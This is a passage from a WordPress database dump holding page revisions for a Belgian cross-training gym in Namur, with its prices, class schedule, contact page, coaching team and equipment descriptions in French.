nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:22:23', '2013-07-03 18:22:23', '', 11, 'http://www.crosstrainingcenter.be/?p=212', 0, 'revision', '', 0),
(218, 2, '2013-09-17 20:26:02', '2013-09-17 20:26:02', '&lt;h2&gt;Prix&lt;/h2&gt;\n&lt;table&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\n1 carte de 10 séances : 80.00€ (valable 3 mois)\n1 carte de 20 séances : 120.00€ (valable 4 mois)\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\nSuivi 15,00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;', 'Prix', '', 'inherit', 'open', 'open', '', '214-autosave', '', '', '2013-09-17 20:26:02', '2013-09-17 20:26:02', '', 214, 'http://www.crosstrainingcenter.be/?p=218', 0, 'revision', '', 0);
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(214, 1, '2013-07-03 18:25:11', '2013-07-03 18:25:11', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Prix', '', 'publish', 'closed', 'open', '', 'prix', '', '', '2013-11-04 17:38:55', '2013-11-04 17:38:55', '', 0, 'http://www.crosstrainingcenter.be/?page_id=214', 0, 'page', '', 0),
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(232, 1, '2013-07-03 19:31:30', '2013-07-03 19:31:30', '', 'bertrand_bauwin-pti', '', 'inherit', 'open', 'open', '', 'bertrand_bauwin-pti', '', '', '2013-07-03 19:31:30', '2013-07-03 19:31:30', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg', 0, 'attachment', 'image/jpeg', 0),
(217, 1, '2013-07-03 18:23:56', '2013-07-03 18:23:56', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:23:56', '2013-07-03 18:23:56', '', 11, 'http://www.crosstrainingcenter.be/?p=217', 0, 'revision', '', 0),
(220, 1, '2013-06-16 15:15:32', '2013-06-16 15:15:32', '&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nPrise de RDV par téléphone : 0485 / 92 . 02 . 12\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nChaussée de Perwez 251\r\n5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&amp;nbsp;\r\n&lt;iframe width=\&quot;425\&quot; height=\&quot;350\&quot; frameborder=\&quot;0\&quot; scrolling=\&quot;no\&quot; marginheight=\&quot;0\&quot; marginwidth=\&quot;0\&quot; src=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;output=embed\&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;small&gt;&lt;a href=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;source=embed\&quot; style=\&quot;color:#0000FF;text-align:left\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-06-16 15:15:32', '2013-06-16 15:15:32', '', 9, 'http://www.crosstrainingcenter.be/?p=220', 0, 'revision', '', 0),
(221, 1, '2013-06-16 15:08:36', '2013-06-16 15:08:36', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Baptiste Pitsaer&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Anaïs Gosset&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-06-16 15:08:36', '2013-06-16 15:08:36', '', 20, 'http://www.crosstrainingcenter.be/?p=221', 0, 'revision', '', 0),
(222, 1, '2013-06-16 13:47:21', '2013-06-16 13:47:21', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
